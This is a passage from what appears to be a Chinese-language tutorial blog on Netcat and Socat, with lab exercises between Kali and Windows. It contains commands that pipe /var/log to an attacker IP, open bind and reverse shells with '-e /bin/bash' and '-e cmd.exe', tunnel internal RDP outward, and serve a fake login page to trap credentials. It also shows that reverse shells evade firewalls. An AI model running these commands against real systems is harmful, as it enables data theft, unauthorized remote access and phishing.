&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机打包发送：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;tar -czf - /var/log/ &lt;span class="p"&gt;|&lt;/span&gt; nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机接收解压：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;1234&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tar -xzvf -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="4-内网穿透与端口转发"&gt;&lt;strong&gt;4. 内网穿透与端口转发&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：突破网络边界，访问受限内网资源。&lt;br&gt;
&lt;strong&gt;典型场景&lt;/strong&gt;：
• &lt;strong&gt;正向代理&lt;/strong&gt;（目标机可直连外网）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机监听内网服务：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;5555&lt;/span&gt; -e /bin/bash &lt;span class="c1"&gt;# 暴露Shell到本地5555端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机连接：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;目标机公网IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;反向隧道&lt;/strong&gt;（目标机仅允许出站）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机监听：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 目标机建立隧道：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;攻击者IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;4444&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;nc 192.168.10.20 3389&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# 转发内网RDP服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="5-网络欺骗与信息收集"&gt;&lt;strong&gt;5. 网络欺骗与信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;：模拟服务响应或抓取敏感信息。&lt;br&gt;
&lt;strong&gt;技巧示例&lt;/strong&gt;：
• &lt;strong&gt;伪造HTTP服务&lt;/strong&gt;（诱捕凭证）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 搭建钓鱼页面：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HTTP/1.1 200 OK\nContent-Type: text/html\n\n&amp;lt;LoginForm&amp;gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc -l -p &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;抓取Banner信息&lt;/strong&gt;（服务指纹识别）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HEAD / HTTP/1.0\n\n&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc example.com &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="c1"&gt;# 获取Web服务器类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="netcat实战练习-"&gt;Netcat实战练习 ：
&lt;/h2&gt;&lt;h3 id="1-实现kali与windows的简单聊天"&gt;&lt;strong&gt;1. 实现Kali与Windows的简单聊天&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="步骤说明"&gt;&lt;strong&gt;步骤说明&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali端监听&lt;/strong&gt;（作为服务器）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows端连接&lt;/strong&gt;（作为客户端）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：Windows需提前下载&lt;code&gt;nc.exe&lt;/code&gt;工具（如从Sysinternals Suite获取）。&lt;/p&gt;
&lt;h4 id="双向通信"&gt;&lt;strong&gt;双向通信&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• 在任意一端输入文字，另一端实时显示。
• &lt;strong&gt;验证&lt;/strong&gt;：输入&lt;code&gt;Hello from Kali!&lt;/code&gt;，Windows端应收到消息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250411195629380" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411195629380.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="NC" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/NC.gif"&gt;&lt;/p&gt;
&lt;h3 id="2-使用netcat创建反向绑定shell"&gt;&lt;strong&gt;2. 使用Netcat创建反向/绑定Shell&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="a-kali到windows的反向shell"&gt;&lt;strong&gt;a. Kali到Windows的反向Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;5555&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows触发反向Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;5555&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411195830822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411195830822.png"&gt;&lt;/p&gt;
&lt;h4 id="b-windows到kali的反向shell"&gt;&lt;strong&gt;b. Windows到Kali的反向Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows监听&lt;/strong&gt;（需管理员权限）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;6666&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali触发反向Shell&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;6666&lt;/span&gt; -e /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411194638513" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411194638513.png"&gt;&lt;/p&gt;
&lt;h4 id="c-kali绑定shell"&gt;&lt;strong&gt;c. Kali绑定Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali绑定Shell监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;7777&lt;/span&gt; -e /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;7777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411200452323" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411200452323.png"&gt;&lt;/p&gt;
&lt;h4 id="d-windows绑定shell"&gt;&lt;strong&gt;d. Windows绑定Shell&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows绑定Shell监听&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;8888&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali连接&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;8888&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411200716131" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411200716131.png"&gt;&lt;/p&gt;
&lt;h3 id="3-文件传输"&gt;&lt;strong&gt;3. 文件传输&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="kali到windows"&gt;&lt;strong&gt;Kali到Windows&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Kali发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvp &lt;span class="m"&gt;9999&lt;/span&gt; &amp;lt; 1.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Windows接收&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;9999&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411212938393" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411212938393.png"&gt;&lt;/p&gt;
&lt;h4 id="windows到kali"&gt;&lt;strong&gt;Windows到Kali&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;Windows发送文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;nc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-lvp&lt;/span&gt; &lt;span class="mf"&gt;1234&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;confidential&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;docx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;Kali接收&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc &lt;span class="o"&gt;[&lt;/span&gt;Windows_IP&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;1234&lt;/span&gt; &amp;gt; downloaded.docx
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250411213833467" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250411213833467.png"&gt;&lt;/p&gt;
&lt;h3 id="4-防火墙开启后的调整"&gt;&lt;strong&gt;4. 防火墙开启后的调整&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="挑战与解决方案"&gt;&lt;strong&gt;挑战与解决方案&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;端口限制&lt;/strong&gt;：
• &lt;strong&gt;问题&lt;/strong&gt;：Windows防火墙默认阻止未授权端口（如4444）。
• &lt;strong&gt;解决&lt;/strong&gt;：使用常用端口（如80/443）或添加防火墙入站规则。
• &lt;strong&gt;反向Shell绕过&lt;/strong&gt;：
• 反向Shell依赖出站连接，通常防火墙允许出站流量，因此更可靠。
• &lt;strong&gt;文件传输失败&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;替代方案&lt;/strong&gt;：使用HTTP协议（Kali搭建Python HTTP服务器）：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server &lt;span class="m"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Windows通过浏览器或&lt;code&gt;curl&lt;/code&gt;下载：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;curl &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//[&lt;/span&gt;&lt;span class="no"&gt;Kali_IP&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-o&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="socat-的用法及与-netcat-的对比"&gt;&lt;strong&gt;Socat 的用法及与 Netcat 的对比&lt;/strong&gt;
&lt;/h2&gt;&lt;h3 id="一socat-的核心功能与用法"&gt;&lt;strong&gt;一、Socat 的核心功能与用法&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Socat（Socket CAT）是一个多协议网络工具，支持在&lt;strong&gt;双向数据流之间建立通道&lt;/strong&gt;，其功能远超 Netcat（nc）。以下是其核心用法：&lt;/p&gt;
&lt;p&gt;Socat官网：http://www.dest-unreach.org/socat/&lt;/p&gt;
&lt;h4 id="1-基本语法"&gt;&lt;strong&gt;1. 基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat &lt;span class="o"&gt;[&lt;/span&gt;全局选项&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;地址1&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项1&lt;span class="o"&gt;]&lt;/span&gt; &amp;lt;地址2&amp;gt; &lt;span class="o"&gt;[&lt;/span&gt;选项2&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;地址类型&lt;/strong&gt;：支持 TCP、UDP、SSL、UNIX 套接字、文件、管道、设备等。
• &lt;strong&gt;常用选项&lt;/strong&gt;：&lt;code&gt;fork&lt;/code&gt;（多连接处理）、&lt;code&gt;reuseaddr&lt;/code&gt;（端口复用）、&lt;code&gt;creat&lt;/code&gt;（自动创建文件）等。&lt;/p&gt;
&lt;h4 id="2-典型应用场景"&gt;&lt;strong&gt;2. 典型应用场景&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;• &lt;strong&gt;监听端口&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:80 STDOUT &lt;span class="c1"&gt;# 监听 TCP 80 端口并输出到终端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat UDP-LISTEN:1234 - &lt;span class="c1"&gt;# 监听 UDP 1234 端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;端口转发&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 单连接转发&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:81 TCP4:192.168.1.1:80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 多连接转发（支持并发）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat TCP4-LISTEN:81,fork,reuseaddr TCP4:192.168.1.1:80
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;文件传输&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 发送文件（服务端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat -u TCP-LISTEN:8080 OPEN:file.txt,creat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 接收文件（客户端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat -u TCP:192.168.1.1:8080 OPEN:file.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;• &lt;strong&gt;加密通信&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SSL 加密服务端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;socat OPENSSL-LISTEN:443,cert&lt;span class="o"&gt;=&lt;/span&gt;server.pem,verify&lt;span class="o"&gt;=&lt;/span&gt;0,fork TCP:localhost:80
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# SSL 加密客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;socat - OPENSSL:192.168.1.1:443
